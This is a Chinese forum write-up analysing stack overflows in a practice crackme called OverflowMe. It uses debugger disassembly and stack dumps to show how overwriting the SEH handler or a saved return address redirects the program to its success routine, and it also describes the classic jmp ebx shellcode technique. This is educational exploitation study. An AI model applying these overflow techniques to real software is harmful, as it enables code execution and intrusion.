【文章标题】: OverflowMe溢出分析
【软件名称】: OverflowMe
【下载地址】: http://bbs.pediy.com/attachment.php?s=&attachmentid=4243
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
利用字符串查找参考来到以下地方:
00401009 |> /68 54A04000 /push 0040A054 ; please input password:
0040100E |. |E8 EA010000 |call 004011FD
00401013 |. |83C4 04 |add esp, 4
00401016 |. |8D4424 04 |lea eax, [esp+4]
0040101A |. |50 |push eax
0040101B |. |68 50A04000 |push 0040A050 ; %s
00401020 |. |E8 C1010000 |call 004011E6 ; 输入password串(字符串超长覆盖seh可控制程序流程)
00401025 |. |83C4 08 |add esp, 8
00401028 |. |8D4C24 04 |lea ecx, [esp+4]
0040102C |. |C64424 0B 00 |mov byte ptr [esp+B], 0
00401031 |. |51 |push ecx ; /Arg1
00401032 |. |E8 49000000 |call 00401080 ; \验证密码(跟进去可以发现密码是test)
00401037 |. |84C0 |test al, al
00401039 |. |75 28 |jnz short 00401063
0040103B |. |68 48A04000 |push 0040A048 ; error\n\n%s
00401040 |. |E8 B8010000 |call 004011FD ; 错误提示
00401045 |. |83C4 04 |add esp, 4
00401048 |. |8BD6 |mov edx, esi
0040104A |. |4E |dec esi
0040104B |. |85D2 |test edx, edx
0040104D |.^\75 BA \jnz short 00401009 ; 循环三次(有三次尝试密码的机会)
0040104F |. 68 40A04000 push 0040A040 ; pause
00401054 |. E8 F7000000 call 00401150 ; 提示按任意键继续(call执行完可改变程序流程)
有两个地方可以控制程序流程
第一个地方就是第一次输入password时,发现当输入的串向下填充到栈底时,程序将转入seh异常处理,这时后seh处理函数地址
已经被我们输入字符串覆盖。
其长度为0x12fffc-0x12ff78 (0x12fffc为栈底,0x12ff7c为字符串填充的起始地址。)
在覆盖前(程序执行到00401009时 堆栈分布情况如下:
0012FF7C 00401590 返回到 o.00401590 来自 o.0040164F
0012FF80 0040A000 o.0040A000
0012FF84 00401390 返回到 o.<模块入口点>+0B4 来自 o.00401000
0012FF88 00000001
0012FF8C 00370ED0
0012FF90 00370F28
0012FF94 7C930738 ntdll.7C930738
0012FF98 FFFFFFFF
0012FF9C 7FFD6000
0012FFA0 00000001
0012FFA4 00000006
0012FFA8 0012FF94
0012FFAC AAD62D08
0012FFB0 0012FFE0 指向下一个 SEH 记录的指针
0012FFB4 00403B44 SE处理程序
0012FFB8 004090F8 o.004090F8
0012FFBC 00000000
0012FFC0 0012FFF0
0012FFC4 7C816D4F 返回到 kernel32.7C816D4F
0012FFC8 7C930738 ntdll.7C930738
0012FFCC FFFFFFFF
0012FFD0 7FFD6000
0012FFD4 8054B6ED
0012FFD8 0012FFC8
0012FFDC 81F844F8
0012FFE0 FFFFFFFF SEH 链尾部
0012FFE4 7C8399F3 SE处理程序
0012FFE8 7C816D58 kernel32.7C816D58
0012FFEC 00000000
0012FFF0 00000000
0012FFF4 00000000
0012FFF8 004012DC o.<模块入口点>
0012FFFC 00000000
用长串字符aaaaaaaaaa..覆盖后运行提示提示不知如何继续,内存地址61616161不可读
这时堆栈分布情况如下:
0012FF74 0012FF7C ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0012FF78 FFFFFFFF
0012FF7C 61616161
0012FF80 61616161
0012FF84 61616161
0012FF88 61616161
0012FF8C 61616161
0012FF90 61616161
0012FF94 61616161
0012FF98 61616161
0012FF9C 61616161
0012FFA0 61616161
0012FFA4 61616161
0012FFA8 61616161
0012FFAC 61616161
0012FFB0 61616161 指向下一个 SEH 记录的指针
0012FFB4 61616161 SE处理程序
0012FFB8 61616161
0012FFBC 61616161
0012FFC0 61616161
0012FFC4 61616161
0012FFC8 61616161
0012FFCC 61616161
0012FFD0 61616161
0012FFD4 61616161
0012FFD8 61616161
0012FFDC 61616161
0012FFE0 61616161
0012FFE4 61616161
0012FFE8 61616161
0012FFEC 61616161
0012FFF0 61616161
0012FFF4 61616161
0012FFF8 61616161
0012FFFC 61616161
这时发生了异常 程序转入seh 处理异常,而seh函数地址又被覆盖成 61616161 所以执行61616161 停下。
这时后如果我们把seh函数地址覆盖成00401100 (这是提示成功字符串地址) 那么发生异常时程序转入执行00401100
就达到目的了。但是00401100中有00,如果在password串中有00就会被截断,我常识利用寄存器跳转,但没找到合适的能够
条到提示成功的程序的位置。
尝试了很久没达到目的,传统覆盖seh 的方法也不可用。
传统方法是:当发生异常时,ebx指向seh第一个记录指针,就是上面0012FFB0 的位置,我们把seh处理函数地址(0012FFB4的值)
覆盖成jmp ebx的地址(可以在内存中搜索通用地址),这时程序执行到0012ffb0 ,把0012ffb0覆盖为eb06eb06,执行时eip
想下跳8字节,就执行到0012FFB8 而这里面放我们的shellcode,那么就实现了攻击的目的。
这个方法也是在win2000才成功
那么我们就利用第二个溢出点:
用od加载程序 执行。
输入密码aaaabbbbccccddddeeeeffff
提示错误
继续输入密码:aaaabbbbccccddddeeeeffff
提示错误
继续输入密码:aaaabbbbccccddddeeeeffff
提示错误
按f8继续执行
当执行完
0040104F |. 68 40A04000 push 0040A040 ; pause
00401054 |. E8 F7000000 call 00401150 ; 提示按任意键继续(call执行完可改变程序流程)
时程序提示 eip 63636363不可以继续执行。
那么我们可以推断call执行完后回到用cccc覆盖的地址0012FF84去执行。
我们只要把cccc覆盖为00401100就可以达到目的了。
三次输入的密码都是从一个地址开始覆盖的。那么以第三次输入的串覆盖的结果为准,也就是前两次密码随便输入只要
串不太长让程序转入seh就可以了。
password覆盖前 堆栈分布:
0012FF7C 00401590 返回到 o.00401590 来自 o.0040164F //password每次从这里开始覆盖
0012FF80 0040A000 o.0040A000
0012FF84 00401390 返回到 o.<模块入口点>+0B4 来自 o.00401000 //
覆盖后
0012FF78 FFFFFFFF
0012FF7C 61616161
0012FF80 00626262
0012FF84 63636363 //00401054 call完后程序从这里执行,把这个位置覆盖为00401100就达到目的了
0012FF88 64646464
0012FF84原来值为00401390只要把1390覆盖为1100就可以了,而有00会被截断,我们要想办法避免
看看401100处代码
004010F7 90 nop
004010F8 90 nop
004010F9 90 nop
004010FA 90 nop
004010FB 90 nop
004010FC 90 nop
004010FD 90 nop
004010FE 90 nop
004010FF 90 nop
00401100 /$ 68 6CA04000 push 0040A06C ; succeed, you win!\n\n
00401105 |. E8 F3000000 call 004011FD
那么我们只要用4010ff(执行一个nop就到401100了)来代替401100就可以了
好了到这里就达到目的了
前两次随便输入password别 导致异常就可以了,然后第三次输入aaaabbbb?@
后面四个字符对应4010ff刚好覆盖0012FF84
当00401054 |. E8 F7000000 call 00401150 完后执行0012ff84指的地址 就是执行4010ff
就执行到success了
--------------------------------------------------------------------------------
【经验总结】
关于第一个溢出点的利用,期待高手!
--------------------------------------------------------------------------------
【版权声明】: 本文原创于看雪技术论坛, 转载请注明作者并保持文章的完整, 谢谢!
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
最后于 2019-11-23 17:58
被netwind编辑
,原因: